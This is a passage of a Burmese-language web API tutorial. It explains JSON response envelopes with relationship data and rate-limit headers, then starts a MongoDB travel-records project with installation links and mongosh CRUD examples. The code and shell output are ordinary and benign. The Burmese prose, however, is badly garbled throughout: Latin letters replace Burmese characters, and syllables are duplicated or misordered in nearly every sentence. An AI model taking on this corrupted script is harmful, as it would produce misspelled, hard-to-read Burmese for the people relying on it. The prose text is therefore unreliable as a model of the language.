ပါတယ်။ အကယ်၍ ဒီနည်းကို မကြကိုက်yူးဆိုရင်လည်း ရုိးရုိး 200 OK နဲ့ပဲ meta မှာ messages ကြေပးပြပီး
အခုလုိတံုg့ပန်နိုင်ပါတယ်။
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 Request 

DELETE /students/8

 Response 

200 OK
Content-Type: application/json

{
meta: {

id: 8,
message: "Successfully deleted."

}
}

ဒီကြေလာက်ဆိုရင်  Response Structure  နဲပ့က်သက်ပြပီး ကြေတာ်ကြေတာ်gပည့်စံုသွားပါပြပီ။ goည့်စွက်ချက်အကြေနနဲ့
Data Envelope  ထဲမှာ  relationships နဲ့  included ဆိုပြပီးကြေတာ့လည်း ဆက်စပ်အချက်အလက်
ကြေတွကို ထည့်eကကြေလ့ရှိတယ်ဆိုတာကို မှတ်သားကြေပးပါ။ 

Relationship Data
Data ဟာ Database ကြေတွကကြေန လာကြေလ့ရှိပါတယ်။ Database ထဲမှာ သိမ်းတဲ့အခါ Table Relationship
ကြေတရွှိနိုင်ပါတယ်။ အ့ဲဒီလုိရှိကြေနတဲ့  Relationship Data ကြေတွကို တစ်ခါထဲ ထည့်ကြေပးချင်ရင် ကြေပးလုိရ့ကြေအာင်
လုိပ့ါ။ ပြပီးကြေတာ့ တစ်ချ ို ့ Data ကြေတွမှာ သူနဲတ့ွဲသုံးoုိ ့လုိအပ်နိုင်တဲ့ ဆက်စပ် Data ကြေတွ ရှတိတ်ပါတယ်။ အ့ဲဒီ
လုိ ရှိတဲ့အခါ included ဆိုပြပီးကြေတာ့ တစ်ခါထဲ တွဲကြေပးလုိရင် ကြေပးနိုင်တဲ့ သကြေyာမျ ို းပါ။ ဒီလုိပါ။

 JSON 

{
meta: {

id: 1
},
data: {

attributes: {
title: "API Book",
author: "Ei Maung",
price: 4.99,
category_id: 2

},

relationships: {
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category: {
id: 2,
name: "Technology"

}
}

},
included: {

author: {
name: "Ei Maung",
bio: " ... "

}
}

}

မူလ Data  ကြေတွက attributes goစ်သွားပြပီး  Relationship Data  ကြေတွက relationships ထဲကို
ကြေရာက်သွားတာပါ။ 

Table Relationship  စနစ်ကို  မသံုးတဲ့  MongoDB  လုိ  NoSQL Database  ကြေတွကိုလည်း သုံးတတ်eကပါ
ကြေသးတယ်။ အ့ဲဒီလုိ NoSQL Database ကြေတွကကြေန လာတာဆိုရင်ကြေတာ့ Data ကြေတွရဲ့ oဲွ့စည်းပံုကကြေတာ့အခု
လုိ goစ်နိုင်ပါတယ်။

 JSON 

{
meta: {

id: 1
},
data: {

title: "API Book",
author: "Ei Maung",
price: 4.99,
category: {

id: 2,
name: "Technology"

}
},
included: {

author: {
name: "Ei Maung",
bio: " ... "

}
}

}

ပါတဲ့  Data ကြေတွက အတူတူပါပဲ။ yာကွာသွားတာလဲဆိုကြေတာ့ attributes ကြေတွ relationships
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ကြေတွ မပါကြေတာ့yဲ၊ အချက်အလက်အားလံုးကို တစ်စတုစ်စည်းထဲ တွဲထည့်ကြေပးလုိက်တာပဲ ကွာသွားတာပါ။
ကိုယ့် Response မှာ Relationship Data ကြေတွ ထည့်ကြေပးoုိ့လုိရင် ဒီနှစ်နည်းထဲက ကြကိုက်တဲ့နည်းကို သံုးနိုင်
ပါတယ်။

Rate Limiting
Request / Response ကြေတွရဲ့ oဲွ့စည်းပံုနဲ့ ပက်သက်ရင် ကြေနာက်ဆံုးတစ်ခုအကြေနနဲ့ မှတ်သားသင့်တာကကြေတာ့
Rate Limit နဲ့ ပက်သက်တဲ့ Headers ကြေတွပါ။ API ကြေတွမှာ Rate Limit ထားရပါတယ်။ Rate Limit   မထား  
ရင်၊   Client   ကြေတွက အထိမ်းအကွပ်မရှိ   Request   ဝုိင်းလုပ်eကတဲ့အခါ   API Server   ကို   Abuse   လုပ်သလုိgoစ်  
ပြပီး   Server   က မနိုင်ဝန်ထမ်းရပါလိမ့်မယ်  ။ ဒါကြေeကာင့် Client တစ်ခုကို တစ်မိနစ်မှာ Request အကြကိမ် (၆၀)
သာလုပ်ခွင့်ရှိတယ်ဆိုတာမျ ို းပါ။  ဥပမာအကြေနနဲ့  ကြေgပာတာပါ။  yယ်ကြေလာက်  ကန့်သတ်မလဲဆိုတာကကြေတာ့
ကိုယ့် Server ရဲ့  Capacity တို့ ကိုယ့် Service ရဲ့  Processing Power လုိအပ်ချက်တို့ ကိုယ့် User ကြေတွရဲ့
လုိအပ်ချက်တိုန့ဲ ့ချင့်ချနိ်ပြပီး သတ်မှတ်ထားရမှာပါ။

API  yက်က ဒီလုိကန့်သတ်ထားကြေeကာင်း  Client  ကို ထည့်သွင်းအသိကြေပးနိုင်ပါတယ်။ ဒီအတွက်  Custom
Header  (၃)  ခုကို  မှတ်သားသင့်ပါတယ်။  X-Rate-Limit-Limit,  X-Rate-Limit-

Remaining နဲ ့X-Rate-Limit-Reset ပါ။

ဒါကြေတွက  Standard HTTP Response Headers  ကြေတွ  မဟုတ်eကပါyူး။  API  oန်တီးသူyက်က ကိုယ့်
အစီအစဉ်နဲက့ိုယ်  Client  သိကြေစoုိ့  ထည့်ကြေgပာကြေပးတဲ့  Custom  Headers  ကြေတွပါ။  X-Rate-Limit-
Limit ကိုသုံးပြပီး  တစ်မိနစ်မှာ  Request  အကြကိမ်ကြေရ yယ်ကြေလာက် ကန့်သတ်ထားသလဲ အသိကြေပးနိုင်ပါ
တယ်။  X-Rate-Limit-Remaining ကို  သံုးပြပီးကြေတာ့  အကြကိမ်ကြေရ  yယ်ကြေလာက်ကျန်ကြေသးလဲ
အသိကြေပးနိုင်ပါတယ်။  X-Rate-Limit-Reset ကိုသုံးပြပီးကြေတာ့  ကြေနာက်အချနိ်  yယ်ကြေလာက်eကာတဲ့
အခါ Limit ကို Reset gပန်လုပ်ကြေပးမလဲဆိုတာကို ကြေgပာgပနိုင်ပါတယ်။ ဒီလုိပံုစံ goစ်မှာပါ။
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 Response 

200 OK
Content-Type: application/json
X-Rate-Limit-Limit: 60
X-Rate-Limit-Remaining: 58
X-Rate-Limit-Reset: 30

ဒီ Headers အရ၊ တစ်မိနစ်မှာ Request အကြကိမ်အကြေရအတွက်ကို (၆၀) လုိ့ ကန့်သတ်ထားပြပီး ကြေနာက်ထပ်
(၅၈)  ကြကိမ်  ကျန်ကြေသးတယ်ဆိုတဲ့  အဓိပ္ပါယ်ရပါတယ်။  စက္ကန့်  (၃၀)  အeကာမှာ  Reset  gပန်လုပ်မှာgoစ်လုိ့
ကြေနာက်စက္ကန့်  (၃၀)  eကာတဲ့အခါ၊  မူလသတ်မှတ်ချက်အတိုင်း  အကြကိမ်  (၆၀)  gပန်goစ်သွားမယ်ဆိုတဲ့
အဓိပ္ပါယ်ပါ။

ဒီကြေလာက်ဆိုရင်  API  ဒီဇုိင်းပုိင်းနဲပ့က်သက်ပြပီး  Client  yက်gခမ်း၊  API  yက်gခမ်း နဲ့  Server  yက်gခမ်း သိ
သင့်တာကြေတွ စံုသကြေလာက် ရှိသွားပါပြပီ။ ဒီလုိမျ ို းသကြေyာသyာဝကြေတွကို  ကိုယ့်yက်သိပြပီဆိုရင် လက်ကြေတွ့
မှာ ကြကိုက်တဲ့   Language   နဲ့ ကြကိုက်တဲ့   Framework   ကိုသုံးပြပီး   API   ကြေတွ oန်တီးလုိရ့ပါတယ်  ။ PHP မှာဆိုရင်
Laravel  လုိ  Full-fledged Framework  ကြေတွရှိသလုိ  Slim  လုိ့  API  Framework  ကြေတွလည်း ရှိပါတယ်။
Ruby မှာဆိုရင်လည်း Rails လုိ Framework ကြကီးကြေတွရှိသလုိ Sinatra လုိ Framework ကြေလးကြေတွလည်း ရှိ
ပါတယ်။ Python မှာဆိုရင်လည်း Django လုိ့ Framework ကြကီးကြေတွရှိသလုိ Flask လုိ Framework ကြေလး
ကြေတွ  ရှိပါတယ်။  JavaScript  မှာဆိုရင်ကြေတာ့  ExpressJS  လုိ  မူလအစဉ်အလာ  Framework  ကြေတွရှိသလုိ
NextJS တိုလုိ့ ကြေခတ်ကြေပါ် Server-side Rendering နည်းပညာကြေတွ ရှိပါတယ်။ ကြကိုက်တဲ့နည်းပညာကိုသံုး
ပါ။ ဟို  Language နဲ့မှ oန်တီးလုိရ့တယ်၊ ဒီ Framework နဲ့မှ အဆင်ကြေgပတယ် ဆိုတာမျ ို း မရှိကြေတာ့ပါyူး။
ကိုယ်ကျွမ်းကျင်ရာ၊ နှစ်သက်ရာ နည်းပညာကို ကြေရွးချယ်ပြပီး၊ အခုသိရှိကြေလ့လာခဲ့eကတဲ့ သကြေyာသyာဝကြေတွ
နဲ ့ကြေပါင်းစပ်လုိက်မယ်ဆိုရင် API ကြေတွကို oန်တီးလုိ့ ရပြပီပဲgoစ်ပါတယ်။

ဒီအပုိင်းမှာကြေတာ့  အခုသိရှိကြေလ့လာခဲ့eကတဲ့  သကြေyာသyာဝကြေတွကို  လက်ကြေတွ့အသုံးချeကည့်တဲ့  သကြေyာ
နဲ့ExpressJS ကို အဓိကထားအသုံးgပုပြပီး နမူနာကြေတွ ဆက်လက်ကြေရးသားကြေoာ်gပကြေပးသွားမှာ goစ်ပါတယ်။
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ကြေရှ့ပုိင်းမှာ  API  ဒီဇုိင်းနဲပ့က်သက်ပြပီး  သိသင့်တာကြေတွ  ကြေgပာလုိ့ပြပီးသွားပါပြပီ။  အခုအ့ဲဒီ  ဗဟုသုကြေတွကို
လက်ကြေတွ့အသုံးချပြပီး  ဆက်လက်ကြေလ့လာနိုင်oုိ့  ပကြေရာင်္ဂျက်ကြေလးတစ်ခုလုပ်eကည့်ပါမယ်။  အခုချနိ်ကစပြပီး
ကြေတာ့ oတ်ယုံမoတ်ကြေတာ့yဲ၊ အဆင့်လုိက် တစ်ပြပိုင်တည်း လုိက်လုပ်eကည့်ပါလုိ့  တိုက်တွန်းပါတယ်။ ဒါမှ
တစ်ခါထဲရပြပီး တစ်ခါထဲ မှတ်မိသွားမှာပါ။

ဒီအပုိင်းကိုကြေရးကြေနတဲ့အချနိ်မှာ Covid-19 ကပ်ကြေရာင်္ဂါ goစ်ကြေနချနိ်ဆိုကြေတာ့၊ အချနိ်ကာလနဲ့ ကိုက်ညီတဲ့ ပကြေရာ
င်္ဂျက်ကြေလးတစ်ခု  လုပ်eကမှာပါ။   ခရီးသွားမှတ်တမ်းပကြေရာင်္ဂျက်ကြေလးပါ။  သိပ်ကြကီးကြကီးကျယ်ကျယ်ကြကီး
မဟုတ်သလုိ၊  ခက်လည်းမခက်ပါyူး။  လူတစ်ကြေယာက်ခရီးသွားကြေတာ့မယ်ဆိုရင်  သူ့ရဲ့အမည်၊  မှတ်ပံုတင်
အမှတ်  စတဲ့အချက်အလက်နဲအ့တူ  yယ်ကကြေန၊  yယ်ကိုသွားမှာလည်း၊  စီးသွားမယ့်  ကားနံပါတ်က
yယ်ကြေလာက်လဲ စသgoင့် အချက်အလက်ကြေတွကို သိမ်းထားလုိက်ပါမယ်။ ကြေနာက်ပုိင်းမှာ လူတစ်ကြေယာက်ရဲ့
ခရီးသွားမှတ်တမ်းကို  သိချင်ရင်  နာမည်တို့  မှတ်ပံုတင်နံပါတ်တိုန့ဲ့  gပန်ရှာeကည့်လုိရ့ပါမယ်။  ပြမို့အမည်နဲ့
ထုတ်ယူလုိက်ရင်  အ့ဲဒီပြမို့ကို  ဝင်ထားတဲ့လူစာရင်း၊  ထွက်ထားတဲ့  လူစာရင်းကို  gပန်ရပါမယ်။  လက်ကြေတွ့
အသုံးချoုိထ့က်  နမူနာလုပ်eကည့်goစ်လုိ့  လံုးဝပြပီးgပည့်စံုoုိထ့က်  စမ်းသင့်တာ  စံုကြေအာင်စမ်းgoစ်oုိက့ို  ဦးစား
ကြေပးသွားမှာပါ။

ပကြေရာင်္ဂျက်တစ်ခု  လုပ်ကြေတာ့မယ်ဆိုကြေတာ့  အ့ဲဒီပကြေရာင်္ဂျက်ရဲ့  အချက်အလက်ကြေတွကို  သိမ်းဆည်းနိုင်မယ့်
Database နည်းပညာကို အရင်ဆံုး eကည့်eကပါမယ်။ MongoDB လုိ့ ကြေခါ်တဲ့ နည်းပညာကို အသံုးgပုမှာပါ။
MongoDB  ဟာ  NoSQL  Database  တစ်မျ ို းgoစ်ပါတယ်။  Document  Database  လုိ့ကြေခါ်ပါတယ်။
အကျဉ်းချုပ်အားgoင့် ရုိးရုိး  SQL Database ကြေတွမှာ ကြကိုတင်တည်ကြေဆာက်ထားတဲ့  Table ကြေတွထဲမှာ Data
ကြေတွကို သိမ်းeကပါတယ်။ MongoDB   မှာကြေတာ့   Table   နဲ့    Table Structure   ကြေတွ မရှိyဲ    Record   တစ်ခုကို  
Document   တစ်ခုပံုစံမျ ို းနဲ့ သိမ်းသွားမှာပါ  ။ Table Structure မရှိyဲ သိမ်းမှာဆိုပါကြေတာ့။ ဒါကြေပမယ့် အ့ဲဒီလုိ
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ကြကိုတင်သတ်မှတ်ထားတဲ့  Structure မရှိကြေပမယ့်၊ သိမ်းထားတဲ့ Data ကြေတွကို SQL Database ကြေတွမှာလုိပဲ
Create, Read, Update, Delete  ကြေတွ လုပ်လုိရ့ပါမယ်။ gပန်ရှာလုိရ့ပါမယ်။  Sorting  ကြေတွ စီလုိရ့ပါမယ်။
Filter ကြေတွ လုပ်လုိရ့ပါမယ်။ Index ကြေတွလုပ်လုိရ့ပါမယ်။ သိပ်မရှင်းရင် ကိစ္စမရှိပါyူး။ ခဏကြေန လက်ကြေတွ့
စမ်းeကည့်လုိက်တဲ့အခါ သကြေyာကြေပါက်သွားပါလိမ့်မယ်။

စိတ်ဝင်စားoုိက့ြေကာင်းကြေပမယ့်  NoSQL Database  ကြေတရွဲ့ သကြေyာသyာဝပုိင်းကို ဒီကြေနရာမှာ eကားgoတ်ပြပီး
မကြေgပာကြေတာ့ပါyူး။  Rockstar  Developer စာအုပ်မှာ  အကျယ်တစ်ဝင့်  ကြေရးသားထားပြပီးgoစ်ပါတယ်။
ကြေလ့လာeကည့်oုိ့ တိုကတ်ွန်းပါတယ်။  NoSQL Database  အမျ ို းမျ ို းရဲ့  သကြေyာသyာဝကြေတွ၊ သူတိုရ့ဲ့  အား
သာချက်  အားနည်းချက်ကြေတွ  ကကြေန စပြပီးကြေတာ့  Replication  နဲ့  Cluster  တည်ကြေဆာက်ပုံလုိ  အဆင့်gမင့်
Server  Architecture  ပုိင်းကြေတွထိ  ကြေoာ်gပထားပါတယ်။  ဒီကြေနရာမှာကြေတာ့  လက်ကြေတွ့အသုံးgပုပုံပုိင်းကို
ကြေရွးထုတ်ကြေoာ်gပသွားမှာပါ။

Install MongoDB
MongoDB  အတွက်  Installer  ကို  mongodb.com Website  မှာ  Download  လုပ်လုိရ့ပါတယ်။  သူ့မှာ
Product အမျ ို းမျ ို းရှိလုိ့  Community Server ကို ကြေရွးချယ်ပြပီး  Download လုပ်ရမှာပါ။ ဒီစာကြေရးကြေနချနိ်မှာ
Community Server Download လုပ်oုိအ့တွက် သွားလုိရ့တဲ့ တိုက်ရုိက်လင့်ကို ကြေoာ်gပကြေပးလုိက်ပါတယ်။

- https://www.mongodb.com/try/download/community

Ubuntu Linux လုိ OS မျ ို းမှာကြေတာ့ oုိင်အကြေနနဲ ့မဟုတ်yဲ API Package Manager ကကြေန Install လုပ်လုိရ့
နိုင်ပါတယ်။ ဒီလိပ်စာမှာ ကြေလ့လာနိုင်ပါတယ်။

– https://www.mongodb.com/docs/manual/tutorial/install-mongodb-on-ubuntu/

လက်ရှိဒီစာကြေရးကြေနချနိ်မှာ ကြေရာက်ရှိကြေနတဲ့  ကြေနာက်ဆံုး  Version  ကကြေတာ့  6.0.4  ပါ။  Install  လုပ်တဲ့အဆင့်
ကြေတွကိကုြေတာ့  တစ်ဆင့်ချင်း  မကြေgပာကြေတာ့ပါyူး။  Installer  မှာကြေပါ်တဲ့  ညွှန်eကားချက်ကြေတွအတိုင်းပဲ  သွား
လုိက်ပါ။ 

https://www.mongodb.com/docs/manual/tutorial/install-mongodb-on-ubuntu/
https://www.mongodb.com/try/download/community
https://www.mongodb.com/try/download/community
https://eimaung.com/rockstar-developer
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MongoDB  မှာ  Server  နဲ့  Client  ဆိုပြပီး  နှစ်ပုိင်းရှိပါတယ်။ အထက်မှာကြေgပာခဲ့တာက  Server  အတွက်ပါ။
Client အတွက် Mongo Shell ကို အသုံးgပုရမှာgoစ်ပြပီး ဒီလိပ်စာမှာ ရယူနိုင်ပါတယ်။

– https://www.mongodb.com/try/download/shell

Mongo Shell ဟာ Command Line နည်းပညာgoစ်တဲ့အတွက် အကယ်၍ GUI နည်းပညာလုိအပ်ရင်ကြေတာ့
Mongo Compass ကို အသုံးgပုနိုင်ပါတယ်။ ဒီလိပ်စာမှာ ရယူပါ။

– https://www.mongodb.com/try/download/compass

Install လုပ်ပြပီးကြေနာက် MongoDB Server ကို Run ချင်ရင် mongod ကို Run ကြေပးရမှာ goစ်ပြပီးကြေတာ့၊ Run
ထားတဲ့ Server ကို ချတိ်သံုးချင်တယ်ဆိုရင် mongosh နဲ ့ချတိ်သံုးရမှာပါ။ 

Install လုပ်စဉ်ကကြေရွးခဲ့တဲ့  Option ကြေပါ်မူတည်ပြပီး  mongod Server က System Service အကြေနနဲ့ အလုိ
အကြေလျှာက်  Run  ကြေနနိုင်သလုိ အကယ်၍ လုိအပ်ရင်လည်း ကိုယ့်yာသာ  System Service  ကြေနနဲ့  Setup
ထပ်လုပ်ကြေပးoုိ့  လုိနိုင်ပါတယ်။  Version  အလုိက်  Install  လုပ်ပုံကြေတွ  Setup  လုပ်ပုံကြေတွ  မတူeကလုိ့
အတိအကျ ကြေgပာgပလုိ့ကြေတာ့ မရနိုင်ကြေတာ့ပါyူး။ သက်ဆိုင်ရာ  MongoDB Documentation  မှာ eကည့်ပြပီး
ကြေတာ့ လုပ်သွားရမှာပါ။

ဒီကြေနရာမှာ ဆက်လက်ကြေoာ်gပသွားမှာက MongoDB 6 အတွက် goစ်ပါတယ်။ MongoDB ဟာ Version တစ်
ခုနဲတ့စ်ခု မတူတဲ့အချက်ကြေတွ အကြေတာ်များတဲ့အတွက် စာoတ်သူကလည်း MongoDB 6 နဲပဲ့ လုိက်ပြပီးကြေတာ့
ကြေလ့လာစမ်းသပ်oုိ့ လုိအပ်ပါတယ်။ တစ်gခား 4 တို ့5 တိုန့ဲဆ့ိုရင် အဆင်မကြေgပနိုင်တာကို သတိgပုပါ။

MongoDB Setup အဆင်ကြေgပမကြေgပ စမ်းသပ်oုိအ့တွက် Mongo Shell ကို Run eကည့်နိုင်ပါတယ်။

https://www.mongodb.com/try/download/compass
https://www.mongodb.com/try/download/shell
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mongosh

Current Mongosh Log ID: 63fdbcb0e29d3aa4a3990421
Connecting to: mongodb://127.0.0.1:27017/ ...
Using MongoDB: 6.0.4
Using Mongosh: 1.7.1

For mongosh info see: https://docs.mongodb.com/mongodb-shell/

------
   The server generated these startup warnings when booting
   2023-02-28T08:34:35.306+06:30: Using the XFS filesystem 
   ...
   2023-02-28T08:34:36.134+06:30: vm.max_map_count is too low
------

test>

mongosh ကို  Run  လုိက်တဲ့အခါ  ကြေပးထားတဲ့နမူနာလုိ  ပံုစံမျ ို းကြေပါ်လာပြပီဆိုရင်  MongoDB  Server  နဲ့
ချတိ်ဆက်မိသွားတဲ့အတွက် test Database ကို ကြေရွးgခားကြေပးထားgခင်းပဲgoစ်ပါတယ်။ အကယ်၍ ဒီလုိရလဒ်
မျ ို း  မရyဲ  MongoDB Server  ကို  မချတိ်နိုင်တဲ့အကြေeကာင်း ကြေgပာလာရင်ကြေတာ့  Server Setup  ကို  gပန်စစ်
eကည့်ရမှာပါ။

CRUD
ပကြေရာင်္ဂျက်အတွက် နမူနာ Data ကြေတွထည့်ရင်းနဲ့ MongoDB မှာ Create, Read, Update, Delete လုပ်ငန်း
ကြေတွ yယ်လုိလုပ်ရလဲဆိုတာ ကြေလ့လာeကည့်eကပါမယ်။ ပထမဦးဆံုးအကြေနနဲ့  show dbs Command ကို
စမ်းeကည့်ပါ (Mongo Shell မှာစမ်းရမှာပါ )။ လက်ရှိ ရှိကြေနတဲ့ Database စာရင်းကို ကြေတွ့ရပါလိမ့်မယ်။

test> show dbs
admin   0.000GB
config  0.000GB
local   0.000GB
test    0.000GB

admin, config, local, test စသည်goင့် နင်္ဂိုကတည်းက ရှိကြေနတဲ့ Database ကြေတွကို ကြေတွ့ ရပါ
လိမ့်မယ်။ use Command နဲ ့ကိုယ်အသုံးgပုလုိတဲ့ Database ကို ကြေရွးလုိရ့ပါတယ်။ မရှိကြေသးတဲ့ Database
ကို ကြေရွးလုိက်ရင်ကြေတာ့ အလုိအကြေလျှာက် Database အသစ် ကြေဆာက်ကြေပးသွားမှာပါ။
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test> use travel
switched to db travel

travel> show dbs
admin   0.000GB
config  0.000GB
local   0.000GB
test    0.000GB

use travel လုိ့ ကြေgပာလုိက်တဲ့အတွက်  travel အမည်နဲ့  Database  ကို ကြေရွးရမှာပါ။ မရှိတဲ့အတွက်
အသစ်ကြေဆာက်  ကြေပးသွားပါလိမ့်မယ်။  ဒါကြေပမယ့်  show  dbs  ကို  ချက်gခင်းကြေခါ်eကည့်ရင်  Database
စာရင်းထဲမှာ  travel မပါကြေသးတာကို သတိgပုနိုင်ပါတယ်။ အခုတစ်ကယ် မကြေဆာက်ကြေသးyဲ  Data ကြေတွ
စသိမ်းပြပီ ဆိကုြေတာ့မှ Database ကို တစ်ခါထဲကြေဆာက်ပြပီး တစ်ခါထဲ သိမ်းသွားကြေပးမှာပါ။ use နဲ့ Database
တစ်ခုကို ကြေရွးပြပီး/ကြေဆာက်ပြပီးပြပီဆိုရင်၊  db ကကြေနတစ်ဆင့် Data သိမ်းတာကြေတွ၊ gပင်တာကြေတွ၊ oျကတ်ာကြေတွ
လုပ်လုိရ့ပါပြပီ။ 

ရုိးရုိး  SQL  Database  ကြေတွမှာ  Data  ကြေတွကို  Table  နဲ့  သိမ်းပါတယ်။  MongoDB  မှာ  Data  ကြေတွကို
Collection နဲသိ့မ်းပါတယ်။ ကွာသွားတာက Table မှာ Columns နဲ့ Structure ရှိပြပီး Collection မှာကြေတာ့
yာ Structure မှ မရှိyဲ Data ကြေတွ သိမ်းလုိ ့ရပါတယ်။
Collection  တစ်ခု  တည်ကြေဆာက်လုိရင်  db.createCollection("name") နဲ့  ကြေဆာက်လုိရ့ပါ
တယ်။ name ကြေနရာမှာ မိမိနှစ်သက်ရာ Collection အမည်ကို သတ်မှတ်ကြေပးနိုင်ပါတယ်။ Collection ကြေတွ
gပန်oျက်လုိရင်ကြေတာ့  db.dropCollection("name") ကို  သံုးပြပီး  oျက်နိုင်ပါတယ်။  ထံုးစံအတိုင်း
name ကြေနရာမှာ oျက်လုိတဲ့  Collection  အမည်ကို ကြေပးရမှာပါ။  Collection  စာရင်းကို eကည့်ချင်ရင်ကြေတာ့
show collections  နဲ့ eကည့်လုိရ့ပါတယ်။

Collection  တည်ကြေဆာက်နည်း  ကြေနာက်တစ်နည်းကကြေတာ့  Data  သာ  ထည့်လုိက်ပါ။  သူ့yာသာ  လုိတဲ့
Database  ကြေတွ  Collection  ကြေတွကို  အလုိအကြေလျှာက်  ကြေဆာက်ကြေပးသွားပါတယ်။ အ့ဲဒီနည်းကို  အခုသံုးပါ
မယ်။ ဒီလုိပါ -

travel> use travel
already on db travel

travel> db.records.insertOne({ name: "Bobo", age: 23 })
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{
  acknowledged: true,
  insertedId: ObjectId("63fdbe0e1b72e9e362fa66de")
}

use travel နဲ့ travel Database ကို သုံးပါတယ်။ ပြပီးတဲ့အခါ db.records.insertOne() နဲ့
Data  ထည့်လုိက်တဲ့အတွက်  records အမည်ရ Collection  ထဲကို  Data  တစ်ကြေeကာင်း သိမ်းသွားမှာပါ။
Document တစ်ခု သိမ်းသွားတယ်လုိ့ ကြေgပာမှတိကျပါမယ်။ ဒါကြေပမယ့် အကြေခါ်အကြေဝါ်ကြေတွ ရှုပ်ကုန်မှာစိုးလုိ့ ပုိ
gမင်သာမယ်လုိ့ ထင်တဲ့ Data လုိပဲ့ ဆက်ကြေgပာသွားပါမယ်။ Data ကို ကြေပးတဲ့အခါ JSON Format နဲ့ပဲ ကြေပးရ
ပါတယ်။ တစ်ကယ့် အကြေခါ်အကြေဝါ်အမှန်ကကြေတာ့ BSON ကြေခါ် Binary JSON ပါ။ ဒါကြေပမယ့် အသုံးgပုနည်းမှာ
သိပ်မကွာလုိ့ စာoတ်သူနဲ့ ပုိရင်းနှီးပြပီး goစ်နိုင်တဲ့ JSON လုိပဲ့ ဆက်သုံးသွားပါမယ်။

မူလက  travel Database  တို့  records Collection  တို့  မရှိလည်း  ကိစ္စမရှိပါyူး။  MongoDB  က
တစ်ခါထဲ  အလုိအကြေလျှာက်ကြေဆာက်ပြပီး  သိမ်းကြေပးသွားမှာပါ။  သိမ်းထားတဲ့  Data  ကြေတွကို  gပန်eကည့်ချင်ရင်
db.collection.find() ကို  သုံးရပါတယ်။  collection ကြေနရာမှာ  Collection  အမည်မှန်နဲ့
အစားထုိးကြေပးလုိက်ယုံပါပဲ။ ဒီလုိပါ -
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travel> db.records.find()

[
  { _id: ObjectId("63fdbe0e1b72e9e362fa66de"), name: 'Bobo', age: 23 }
]

gမင်ကြေတွ့ရတဲ့အတိုင်း  ကြေစာကြေစာကကြေပးလုိက်တဲ့  Data  ကိုgပန်ရပါတယ်။  လွယ်လွယ်ကြေလးပါ။
insertOne() နဲ့  ထည့်ပြပီး  find() နဲ့  gပန်ထုတ်eကည့်ရတာပါ။ ထူးgခားချက်အကြေနနဲ့  Auto ID  တစ်ခု
လည်း ထွက်သွားတယ် ဆိုတာကြေတွ့ ရနိုင်ပါတယ်။ _id လုိ့ ကြေရှ့ကကြေန Underscore ကြေလးခံပြပီး ကြေပးပါတယ်။
UUID ကြေခါ် Universally Unique goစ်တဲ့  ID ကို  MongoDB က ထုတ်ကြေပးသွားတာပါ။ အ့ဲဒီ  ID ရoုိအ့တွက်
MongoDB  ရဲ့  အရင်  Version  ကြေတွက  Timestamp,  Machine  ID,  Process  ID  နဲ့  Auto  Increment
Counter  ဆိုတဲ့  အချက်  (၄)  ချက်ကိုကြေပါင်းပြပီး  oန်တီးယူပါတယ်။  ကြေနာက်ပုိင်း  Version  ကြေတွမှာကြေတာ့
Timestamp, Random Value နဲ့ Auto Increment Counter တိုက့ို ကြေပါင်းပြပီး oန်တီးယူပါတယ်။ yယ်လုိ
ပဲgoစ်goစ်  Unique goစ်တဲ့ ID တစ်ခုကို ရလုိက်တာပါပဲ။

UUID  Value  ကို  ObjectId() ဆိုတဲ့  Function  တစ်ခုနဲ့  ထည့်ကြေပးတာကိုလည်း  သတိgပုပါ။  အ့ဲဒီ
ObjectId() ရဲ့ အကူအညီနဲ့ UUID ထဲကကြေန Timestamp ကြေတွyာကြေတွ လုိအပ်တဲ့အခါ gပန်ထုတ်ယူလုိ့
ရပါတယ်။ ဆိုလုိတာက တစ်ချက်ခုတ်  နှစ်ချက်gပတ်ပါ။  တစ်ခုတည်းနဲ့  Unique  goစ်တဲ့  ID  လည်းရမယ်၊
Timestamp  လည်းရမယ်ဆိုတဲ့  သကြေyာပါ။  UUID  ထဲကကြေန  Timestamp  ကို  အခုလုိgပန်ထုတ်ယူလုိ့ ရပါ
တယ်။

travel> ObjectId("63fdbe0e1b72e9e362fa66de").getTimestamp()

ISODate("2023-02-28T08:40:46.000Z")

ထည့်ထားတဲ့  Data  ကြေတွကို  gပန်oျက်ချင်ရင်  deleteOne() ကိုသုံးနိုင်ပါတယ်။ yာကိုoျက်မှာလဲဆိုတဲ့
Filter ကို JSON နဲ့ ကြေပးရပါတယ်။ ဒီလုိပါ -

travel> db.records.deleteOne({ name: "Bobo" })

{ acknowledged: true, deletedCount: 1 }
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တစ်ကယ်တန်း  တိတိကျကျoျက်ချင်ရင်  _id ကိုကြေပးပြပီး  oျက်သင့်ပါတယ်။  အခုကြေတာ့  နမူနာအကြေနနဲ့
name: Bobo ကို oျက်ကြေပးပါလုိ ့Filter အကြေနနဲ့ ကြေပးလုိက်တာပါ။ 

ဆက်လက်ပြပီးကြေတာ့၊ စမ်းစရာ  Data  ရကြေအာင် နမူနာ  Data  တစ်ချ ို ့  ထည့်လုိက်ပါမယ်။ တစ်ကြေeကာင်းချင်း
ထည့်စရာမလုိပါyူး။ JSON Array အကြေနနဲ့ စုစည်းပြပီး ကြေပးလုိက်လုိရ့ပါတယ်။ ဒီလုိပါ -

travel> db.records.insertMany([
{name: "Bobo", nrc: "A0131", from: "Yangon", to: "Mandalay", with: "5B9876"},
{name: "Nini", nrc: "A1476", from: "Yangon", to: "Bago", with: "3G6457"},
{name: "Coco", nrc: "B0487", from: "Bago", to: "Yangon", with: "4L2233"},
{name: "Mimi", nrc: "C1987", from: "Yangon", to: "Mandalay", with: "9E4343"},
{name: "Nono", nrc: "B0098", from: "Bago", to: "Yangon", with: "4L2233"},
{name: "Momo", nrc: "C0453", from: "Yangon", to: "Bago", with: "3G6457"}
])

{
  acknowledged: true,
  insertedIds: {
    '0': ObjectId("63fdbf1c1b72e9e362fa66df"),
    '1': ObjectId("63fdbf1c1b72e9e362fa66e0"),
    '2': ObjectId("63fdbf1c1b72e9e362fa66e1"),
    '3': ObjectId("63fdbf1c1b72e9e362fa66e2"),
    '4': ObjectId("63fdbf1c1b72e9e362fa66e3"),
    '5': ObjectId("63fdbf1c1b72e9e362fa66e4")
  }
}

ဆက်လက်ပြပီးကြေတာ့  Sorting,  Filter  နဲ့  Paging  ကြေတွဆက်eကည့်eကပါမယ်။  Filter  အတွက်ကကြေတာ့
ကြေစာကြေစာက deleteOne() လုိပါပဲ၊ find() ကို JSON နဲ ့Filter တန်oုိးကြေတွ ကြေပးလုိရ့ပါတယ်။ ဒီလုိပါ -

